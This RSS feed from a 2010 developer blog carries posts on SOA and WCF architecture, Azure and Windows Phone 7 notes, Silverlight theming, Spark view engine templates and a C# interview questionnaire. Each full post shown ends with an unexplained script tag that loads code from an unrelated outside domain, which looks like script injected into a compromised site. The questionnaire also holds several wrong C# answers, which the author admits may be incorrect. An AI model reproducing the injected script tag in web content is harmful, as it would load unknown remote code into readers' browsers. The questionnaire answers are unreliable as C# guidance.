<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Eric Polerecky</title>
	
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ericpolerecky" /><feedburner:info uri="ericpolerecky" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>ericpolerecky</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Dirty Sex: SOA Gone Wong?</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/xfSpg5GxlyY/</link>
		<comments>http://eric.polerecky.com/archives/dirty-sex-soa-gone-wong/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 14:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[SOA]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=466</guid>
		<description><![CDATA[<br/>[Disclaimer: This post had a point. ChannelFactory vs. Proxy vs. Hand Rolled Proxy. That point got lost along the way.]
The “application” that I am working on is more of a platform then a single application. Our solution contains over 150 projects and is organized into what we call, sub-systems. A sub-system is basically a stand-alone


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>[Disclaimer: This post had a point. ChannelFactory vs. Proxy vs. Hand Rolled Proxy. That point got lost along the way.]</p>
<p>The “application” that I am working on is more of a platform then a single application.<strong> Our solution contains over 150 projects</strong> and is organized into what we call, sub-systems. A sub-system is basically a stand-alone application. sub-systems contain web, shared, service, configuration and testing projects. They can be deployed independently and are designed to be one piece in a larger SOA. These sub-systems are broken down into 5 categories of work. Web (MVC/Silverlight/API), Services, Data (Entities/NHibernate), Queuing, and Support.</p>
<p>For the last years worth of development, with the exception of the silverlight clients talking back to the web server via service reference generated proxy classes, we&#8217;ve been using a Service Factory/Locator pattern. Currently the development team is considering the merits of this implementation and possible alternatives.</p>
<p>Personally; I really like our current design, it follows the basic tenants of SOA and provides many benefits. The benefits out-weight the drawbacks and the drawbacks SHOULD be easy to overcome.</p>
<h4>Cross Sub-System Communication</h4>
<p>Every sub-system has a “shared” library project that houses it’s interfaces. This library is designed to hold only items that need to be shared between sub-systems. Service contracts, request and response messages and data contracts are typical items that should be in the “shared” library project in the sub-system.</p>
<p>When SS-A wants to call a service on SS-B, SS-A adds a project reference to the SS-B’s shared project. Next, SS-A uses our ServiceFactory class to locate and/or create the channel and service client. Now SS-A can work with SS-B’s methods as if they were local and without the need for a service reference or generated proxy class.</p>
<p>Screen-shot here.</p>
<p>We use this pattern because we have control of both the client and server code. </p>
<ol>
<li>Separating the web and app tier.</li>
<li>No need to update ref/proxy when service changed.</li>
<li>Compile time checks.</li>
<li>Testable – Not that we are doing it.</li>
<li>Less code to maintain.</li>
</ol>
<h4>Problems With Current Implementation:</h4>
<ol>
<li>Can’t mock ServiceFactory – I shouldn’t say “can’t”, I just don’t think we’ve tried. Are tests are shit right now anyway.</li>
<li>The Shared project in every sub-system has become a dumping ground for implementations that don’t fit into our current project structure. For example, validators, extensions, repositories, and on and on are in these shared projects. </li>
</ol>
<h4>Shared Sub-System Bloat</h4>
<p>At first this does not sound like a very big deal until you start to work with it. Every class added to the shared projects could potentially have a dependency on another sub-system. When this happens the entire platform starts to break down into <strong>a spider-web of dependency hell.</strong></p>
<p>No really! This is the fucking problem! When I add a reference to a shared project I, by-proxy, add a reference to up to 40 other projects! The shared project in each sub-system should not have ANY references. It should only contain interfaces and/or contracts.</p>
<blockquote><p><em>“The shared project in each sub-system should not have ANY references”</em></p>
</blockquote>
<h4>Serving &amp; Consuming SOA</h4>
<p>There are 2 main sub-systems that act as the services in our SOA. They reside on our application servers, have access to the database, don’t (shouldn’t) communicate with each other and provide a bulk of the business logic. </p>
<p>The consumers of these sub-systems include a web application, console applications, windows services, silverlight web hosts. These systems use the ServiceFactory class to communicate with the application servers. </p>
<h4>F’ing up the program</h4>
<p>The silverlight systems have another hop as they have to send the data down to the client. Our original design was to use RIA Services to emulate being on the server and hopefully write less code. However; since we moved to visual studio 2010 and couldn’t get .NET 4.0 on the servers our team decided to remove RIA. </p>
<p>Now we have a situation where the Silverlight clients need communicate back to their web servers. We used “Right Click-&gt; Add Service Reference” to generate the proxy and a service locator to create the client.</p>
<h4>Knee-Jerk Reactions</h4>
<p>Our dev team, for some crazy reason, is suggesting that having a hand generated service proxy will be easier to mock then one generated via “Add Service Reference”. Also, they are adding “ServiceFactory” like code to the silverlight clients. I don’t know why we can’t use our current implementation by using linked classes in a silverlight class library and more importantly: How this is better in any way?</p>
<h4>Proxy Class Fail</h4>
<p>I feel that the champions for hand rolled proxies are looking at the problem idiosyncratically. The extra work required to keep the client and server code in sync (for both Silverlight and inside the platform) would FAR out weight the benefit of hand rolling proxies. </p>
<p>I just don’t think they realize the amount of use the ServiceFactory gets throughout the platform. </p>
<h4>Testing WCF</h4>
<p>I am far from a testing expert but I am pretty damn good at the googles.</p>
<ol>
<li><a title="http://mokosh.co.uk/post/2009/04/19/prism-2-wpf-and-silverlight-services/" href="http://mokosh.co.uk/post/2009/04/19/prism-2-wpf-and-silverlight-services/">http://mokosh.co.uk/post/2009/04/19/prism-2-wpf-and-silverlight-services/</a> &#8211; (we use prism)</li>
<li><a href="http://houseofbilz.com/archives/2008/11/18/testing-wcf-service-apps-part-0-of-4/">http://houseofbilz.com/archives/2008/11/18/testing-wcf-service-apps-part-0-of-4/</a> &#8211; (we use RhinoMock)</li>
<li><a title="http://stackoverflow.com/questions/2509316/best-way-to-mock-wcf-client-proxy" href="http://stackoverflow.com/questions/2509316/best-way-to-mock-wcf-client-proxy">http://stackoverflow.com/questions/2509316/best-way-to-mock-wcf-client-proxy</a> &#8211; (client proxy)</li>
</ol>
<h4>Governance</h4>
<p>SOA is a complex technology theory that can’t be bought. It requires buy-in from a team, developers and someone to watch over the implementation. Every developer thinks they understand SOA, when asked to implement it they create services and then complain that they don’t need SOA. </p>
<p>When I spent Christmas even developing across 4 layers just to get a fucking coupon onto a page. I bitched but I didn’t break the existing convention. I spent endless hours trying to understand how to fit MVC and SOA into the same project. During my development vietnam, SOA was a pain-in-the-ass, but now that we have a “stable” codebase and have 20/20 I can see how SOA will save our ass when the time comes.&#160; </p>
<h4>Coup d&#8217;état</h4>
<p>A bunch of words go here. They aren’t important. Just know that when implementing SOA the development staff will constantly say things like “this would be so much easer if I could call the database”. SOA is not for developers; it’s for the project and the organization (much like TFS).</p>
<blockquote><p>SOA is not for the developers; it’s for the project and the organization. </p>
</blockquote>
<h4>Concluding</h4>
<p>I think that Silverlight clients should use “Add Service Reference” to generate proxies for a few reasons:</p>
<ol>
<li>Right click “Update Service Reference” is much easier then keeping client and server code in sync. </li>
<li>We are in pretty rapid development.</li>
<li>We can mock the service.</li>
</ol>
<p>Silverlight clients could, not for us, not now, use nant to keep the proxies up-to-date.</p>
<p>All service communication from the web to app tier should use the ServiceFactory pattern.</p>
<p>Console applications, windows services don’t use a consistent pattern. We need to resolve that.</p>
<h4>Explicitly Covering My Ass</h4>
<p>If any of my co-workers happen to read this: I wrote most of the code I’m suggesting needs to be fixed. It’s how I (we) spent my (our) holidays. </p>
<p>I’m just putting some thoughts down so I can understand the situation. I’ve rewrote this a few times when I grasped certain concepts/implementations/reactions/reasons/etc.</p>
<p>I think this sums it up. Now I need to get that one last question answered. </p>
<p><strong><em>Why check in proxies for sub-systems that we have control over the client and server?</em></strong></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/xfSpg5GxlyY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/dirty-sex-soa-gone-wong/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/dirty-sex-soa-gone-wong/</feedburner:origLink></item>
		<item>
		<title>Bleeding Edge .NET Notes</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/valOVkPGdkc/</link>
		<comments>http://eric.polerecky.com/archives/bleeding-edge-net-notes/#comments</comments>
		<pubDate>Tue, 18 May 2010 19:41:08 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[default]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[wp7]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=464</guid>
		<description><![CDATA[<br/>Azure WCF development
There is a patch you must install that creates a local &#8220;load balancer&#8221;  that fixes an issue with requests to and from AppFabric services. You&#8217;ll  also have to update the behavior.
http://code.msdn.microsoft.com/wcfazure/Wiki/View.aspx?title=KnownIssues
Azure Initialization
After publishing your services might hang, if they don&#8217;t start in  around an hour, try stopping and restarting them.
http://blog.toddysm.com/2010/01/windows-azure-deployment-stuck-in-initializing-busy-stopping-why.html
Azure


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/asp-net-mvc-in-action-personal-notes/' rel='bookmark' title='Permanent Link: ASP.NET MVC in Action Personal Notes'>ASP.NET MVC in Action Personal Notes</a> <small> Keep using a custom controller Learn and Use Ajax...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p><strong>Azure WCF development</strong></p>
<p>There is a patch you must install that creates a local &#8220;load balancer&#8221;  that fixes an issue with requests to and from AppFabric services. You&#8217;ll  also have to update the behavior.</p>
<p>http://code.msdn.microsoft.com/wcfazure/Wiki/View.aspx?title=KnownIssues</p>
<p><strong>Azure Initialization</p>
<p></strong>After publishing your services might hang, if they don&#8217;t start in  around an hour, try stopping and restarting them.</p>
<p>http://blog.toddysm.com/2010/01/windows-azure-deployment-stuck-in-initializing-busy-stopping-why.html</p>
<p><strong>Azure Instances</strong></p>
<ul>
<li>You can&#8217;t set the number of running instances for any service to  0. If you do you get a Dr. Watson exception thrown in the Azure  UI&#8230;.Really; Dr. Watson!</li>
<li>You can&#8217;t have more then 5 web roles, again cryptic Dr. Watson  error message</li>
</ul>
<p><strong>Azure Upgrade</strong></p>
<p>Upgrade means upload new code, when you do this you can&#8217;t change the  configuration. If you need to add/remove/rename roles you will have to  delete and redeploy.</p>
<p><strong>WP7 Service References</p>
<p></strong>You can only have one service reference in the current CTP.</p>
<p><strong>Upgrading WP7 CTP to April</strong></p>
<p>I tried it; following all the correct instructions the application was  running but would bomb randomly. Recreating the project from scratch  (copy/paste the code) fixed the issue.</p>
<p><strong>WP7 Panorama</p>
<p></strong>By far the best and most stable panorama: http://phone.codeplex.com/<script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/asp-net-mvc-in-action-personal-notes/' rel='bookmark' title='Permanent Link: ASP.NET MVC in Action Personal Notes'>ASP.NET MVC in Action Personal Notes</a> <small> Keep using a custom controller Learn and Use Ajax...</small></li>
</ol></p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/valOVkPGdkc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/bleeding-edge-net-notes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/bleeding-edge-net-notes/</feedburner:origLink></item>
		<item>
		<title>Silverlight Custom Control Theming</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/qqHgPEESEDM/</link>
		<comments>http://eric.polerecky.com/archives/silverlight-custom-control-theming/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 17:15:20 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/silverlight-custom-control-theming/</guid>
		<description><![CDATA[<br/>Quick tip:
If you want to put your custom controls in a separate assembly you need to include the layout (generic.xml) in that assembly.




Related posts:Thoughts on Silverlight In a recent post Jamie Kosoy, who I believe is...
AutoMapper.Silverlight I could, and will soon, write a long ass post...
Silverlight, Actions and Prism  When using Prism for composition


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/thoughts-on-silverlight/' rel='bookmark' title='Permanent Link: Thoughts on Silverlight'>Thoughts on Silverlight</a> <small>In a recent post Jamie Kosoy, who I believe is...</small></li>
<li><a href='http://eric.polerecky.com/archives/automapper-silverlight/' rel='bookmark' title='Permanent Link: AutoMapper.Silverlight'>AutoMapper.Silverlight</a> <small>I could, and will soon, write a long ass post...</small></li>
<li><a href='http://eric.polerecky.com/archives/silverlight-actions-and-prism/' rel='bookmark' title='Permanent Link: Silverlight, Actions and Prism'>Silverlight, Actions and Prism</a> <small> When using Prism for composition in Silverlight how do...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>Quick tip:</p>
<p>If you want to put your custom controls in a separate assembly you need to include the layout (generic.xml) in that assembly.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/04/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/04/image_thumb.png" width="178" height="197" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/thoughts-on-silverlight/' rel='bookmark' title='Permanent Link: Thoughts on Silverlight'>Thoughts on Silverlight</a> <small>In a recent post Jamie Kosoy, who I believe is...</small></li>
<li><a href='http://eric.polerecky.com/archives/automapper-silverlight/' rel='bookmark' title='Permanent Link: AutoMapper.Silverlight'>AutoMapper.Silverlight</a> <small>I could, and will soon, write a long ass post...</small></li>
<li><a href='http://eric.polerecky.com/archives/silverlight-actions-and-prism/' rel='bookmark' title='Permanent Link: Silverlight, Actions and Prism'>Silverlight, Actions and Prism</a> <small> When using Prism for composition in Silverlight how do...</small></li>
</ol></p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/qqHgPEESEDM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/silverlight-custom-control-theming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/silverlight-custom-control-theming/</feedburner:origLink></item>
		<item>
		<title>Spark CodeTemplates</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/f0b6A4GmjgQ/</link>
		<comments>http://eric.polerecky.com/archives/spark-codetemplates/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 17:54:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/spark-codetemplates/</guid>
		<description><![CDATA[<br/>While my solution compiles, 80 projects, I started working on ASP.NET MVC CodeTemplates for Spark View Engine. They are available in my GitHub repo. Feel free to fork and extend!
http://github.com/detroitpro/spark/tree/master/src/CodeTemplates/



Related posts:Spark Binaries For ASP.NET MVC RC2 THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...
ASP.NET MVC Spark Support ASP.NET MVC 2 supports Spark! What?


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>While my solution compiles, 80 projects, I started working on ASP.NET MVC CodeTemplates for Spark View Engine. They are available in my GitHub repo. Feel free to fork and extend!</p>
<p><a href="http://github.com/detroitpro/spark/tree/master/src/CodeTemplates/"><u><font color="#0066cc">http://github.com/detroitpro/spark/tree/master/src/CodeTemplates/</font></u></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol></p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/f0b6A4GmjgQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/spark-codetemplates/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/spark-codetemplates/</feedburner:origLink></item>
		<item>
		<title>Developer Questionnaire</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/GfQEgeu9S5w/</link>
		<comments>http://eric.polerecky.com/archives/developer-questionnaire/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 15:44:46 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[career]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/developer-questionnaire/</guid>
		<description><![CDATA[<br/>Finding talented developers is always a challenge and in the current economic climate many developers are holding off moving to a new position. As such, contract houses are submitting any available candidates for every position. This practice is not only another reason to avoid contracting shops but is rather taxing on the company looking to


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>Finding talented developers is always a challenge and in the current economic climate many developers are holding off moving to a new position. As such, contract houses are submitting any available candidates for every position. This practice is not only another reason to avoid contracting shops but is rather taxing on the company looking to fill a position. </p>
<p>The man hours spent screening a single applicant can quickly balloon over 8 man hours. My current client recently felt this pain and decided to require the consulting houses to have their candidates fill out a questionnaire. In an environment with many different technologies and developer background experiences coming up with a questionnaire that covers technical, theoretical as well as passion is a daunting task.</p>
<p>Below is one of the recent questionnaires I filled out that I thought balanced technical and theoretical questions well. Some of the details have been redacted. And oh’ <strong>Be warned, I have no idea if these answers are correct</strong></p>
<p><strong>What is reflection?      <br /></strong>reflection is a way you can interrogate (inspect and/or invoke) objects in a running application. </p>
<p><strong>How do you inherit from a class in C#? (give a code sample)      <br /></strong>public class GreatClass:Baseclass {} </p>
<p><strong>When you inherit a protected class-level variable, who is it available to?      <br /></strong>The derived class and of course the base class. </p>
<p><strong>Describe each accessibility modifier (public, private, etc).      <br /></strong>Public: can be accessed by anyone     <br />Private: can only be accessed from inside the base class     <br />Protected: can be accessed by derived and base class     <br />Internal: like public by also must be in the same assembly     <br />Protected Internal: like private by also must be in the same assembly </p>
<p><strong>How is method overriding different from overloading?      <br /></strong>overriding changes the functionality of a base method, overloading creates another method with different inputs/attributes (post in MVC) </p>
<p><strong>What does the keyword virtual mean in the method definition?      <br /></strong>virtual methods are methods that the derived class must override.     <br /><strong></strong></p>
<p><strong>How can you overload a method?      <br /></strong>By changing the type or number of parameters. </p>
<p><strong>What’s the difference between an interface and abstract class?      <br /></strong>An abstract class is something that I don&#8217;t often use. Really; C# does not support multiple inheritance so we often use interfaces to define our entities and hierarchies. In c# we can inherit from one abstract class and implement multiple interfaces. </p>
<p><strong>What is the default accessibility for a class?      <br /></strong>Private </p>
<p><strong>Can you implement multiple interfaces?      <br /></strong>Yes     </p>
<p><strong>What is a delegate?      <br /></strong>The C# version of AddressOf </p>
<p><strong>Code a short and simple delegate example. Code the same sample with a lambda expression. </strong></p>
<div class="csharpcode">
<pre><span class="lnum">   1:  </span><span class="kwrd">public</span> <span class="kwrd">delegate</span> <span class="kwrd">int</span> myCalc(<span class="kwrd">int</span> x, <span class="kwrd">int</span> y);</pre>
<pre><span class="lnum">   2:  </span>&#160;</pre>
<pre><span class="lnum">   3:  </span><span class="kwrd">public</span> <span class="kwrd">class</span> doMath {</pre>
<pre><span class="lnum">   4:  </span>    <span class="kwrd">public</span> <span class="kwrd">string</span> Add(<span class="kwrd">int</span> x, <span class="kwrd">int</span> y){ Console.Wr...etc }</pre>
<pre><span class="lnum">   5:  </span>    <span class="kwrd">public</span> <span class="kwrd">string</span> Sub(<span class="kwrd">int</span> x, <span class="kwrd">int</span> y){ Console.Wr...etc }</pre>
<pre><span class="lnum">   6:  </span>} </pre>
<pre><span class="lnum">   7:  </span>&#160;</pre>
<pre><span class="lnum">   8:  </span><span class="kwrd">public</span> <span class="kwrd">static</span> <span class="kwrd">void</span> Main(){</pre>
<pre><span class="lnum">   9:  </span>    myCalc adder = <span class="kwrd">new</span> myCalc(doMath.Add);</pre>
<pre><span class="lnum">  10:  </span>    adder(1,1);</pre>
<pre><span class="lnum">  11:  </span>} </pre>
<pre><span class="lnum">  12:  </span>&#160;</pre>
<pre><span class="lnum">  13:  </span><span class="kwrd">public</span> <span class="kwrd">static</span> <span class="kwrd">void</span> Main(){</pre>
<pre><span class="lnum">  14:  </span>    myCalc adder = (doMath.Add);</pre>
<pre><span class="lnum">  15:  </span>    adder(1,1);</pre>
<pre><span class="lnum">  16:  </span>} </pre>
<pre><span class="lnum">  17:  </span>&#160;</pre>
<pre><span class="lnum">  18:  </span>&#160;</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><strong>Strings are immutable, what does this mean?<br />
    <br /></strong>The contents will not change once created, methods like toLower will not effect the string, only the output. </p>
<p><strong>Code an enumeration for a status where options are: Queued, In Process, Finished<br />
    <br /></strong>enum Status { Queued, In Process, Finished }; </p>
<p><strong>Can C# have multiple catch blocks?<br />
    <br /></strong>Sure</p>
<p><strong>What are design patterns?<br />
    <br /></strong>Examples of how people smarter then me make my job easier. </p>
<p><strong>Describe two design patterns you have used in a project.<br />
    <br /></strong>Singleton! &#8211; Really; it&#8217;s was a good use&#8230;for a WCF Service to cache database results and serve those results to all web clients. </p>
<p>I&#8217;m not sure if MVC counts but It what I miss right now&#8230;MVVM is fine for large SL projects and the Flex stuff I am doing&#8230;well&#8230;as some of the Headspring guys on twitter might now, I&#8217;m not happy with it. </p>
<p><strong>What are the most important aspects of an effective software development team?<br />
    <br /></strong>Communication, planning, direction, understanding the problem domain (++DDD) </p>
<p><strong>What is your experience with test-driven development? What are its limitations? What are its strengths?</strong> </p>
<p>I&#8217;m a fan and I use it where I&#8217;ve been able to convince a project manager that it fits into a project plan. When I have to take over a project without unit tests I feel lost. TDD, like design patterns, are something I love that makes my job easier. </p>
<p><strong>What is your experience with Extreme Programming? What are its limitations? What are its strengths?</strong> </p>
<p>Not enough; the last 3 years I&#8217;ve been stuck in a big-design-up-front, not even waterfall, we spent a year on documents. 5 people, 1 year. sick. I was in a XP environment in 2001-2003. </p>
<p></p>
<p><strong>Will this code compile? What will be its output?</strong> </p>
<p>Sample code was provided.</p>
<p></p>
<p><strong>Write the PRECISE output of this code as it would appear in the console.<br />
    <br /></strong>Sample code was provided</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/GfQEgeu9S5w" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/developer-questionnaire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/developer-questionnaire/</feedburner:origLink></item>
		<item>
		<title>ASP.NET MVC Spark Support</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/wyNvbWKeqkQ/</link>
		<comments>http://eric.polerecky.com/archives/asp-net-mvc-spark-support/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 23:29:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/asp-net-mvc-spark-support/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>ASP.NET MVC 2 supports Spark!
What? hear me out. The release of ASP.NET MVC 2 includes an amazing hidden gem. You see the “Add View/Controller” dialog now takes into account a T4 directive “output extension”. 
Getting started with Custom CodeTemplates
To get started with Custom CodeTemplates check out this excellent article by K. Scott Allen
Getting started with


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>ASP.NET MVC 2 supports Spark!</p>
<p>What? hear me out. The release of ASP.NET MVC 2 includes an amazing hidden gem. You see the “Add View/Controller” dialog now takes into account a T4 directive “output extension”. </p>
<h4>Getting started with Custom CodeTemplates</h4>
<p>To get started with Custom CodeTemplates check out this <a href="http://msdn.microsoft.com/en-us/magazine/ee291528.aspx">excellent article</a> by <a href="http://odetocode.com/blogs/scott/">K. Scott Allen</a></p>
<h4>Getting started with Custom CodeTemplates and Spark</h4>
<ol>
<li>At the top of your templates add the output extension as shown below.</li>
<li>Modify the template to use spark.</li>
</ol>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/03/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/03/image_thumb.png" width="422" height="172" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/wyNvbWKeqkQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/asp-net-mvc-spark-support/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/asp-net-mvc-spark-support/</feedburner:origLink></item>
		<item>
		<title>Spark View Engine 1.1</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/r6pRmE2lCg0/</link>
		<comments>http://eric.polerecky.com/archives/spark-view-engine-1-1/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 20:31:14 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/spark-view-engine-1-1/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>ASP.NET MVC 2 was RTM’ed today and with the help of Jay Harris &#8211; @jayharris we upgraded our rather large codebase to not only ASP.NET MVC 2 RTM but also a new drop of the Spark View Engine built against the RTM. 
Since the release of Spark View Engine 1.1 RC a few weeks ago


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
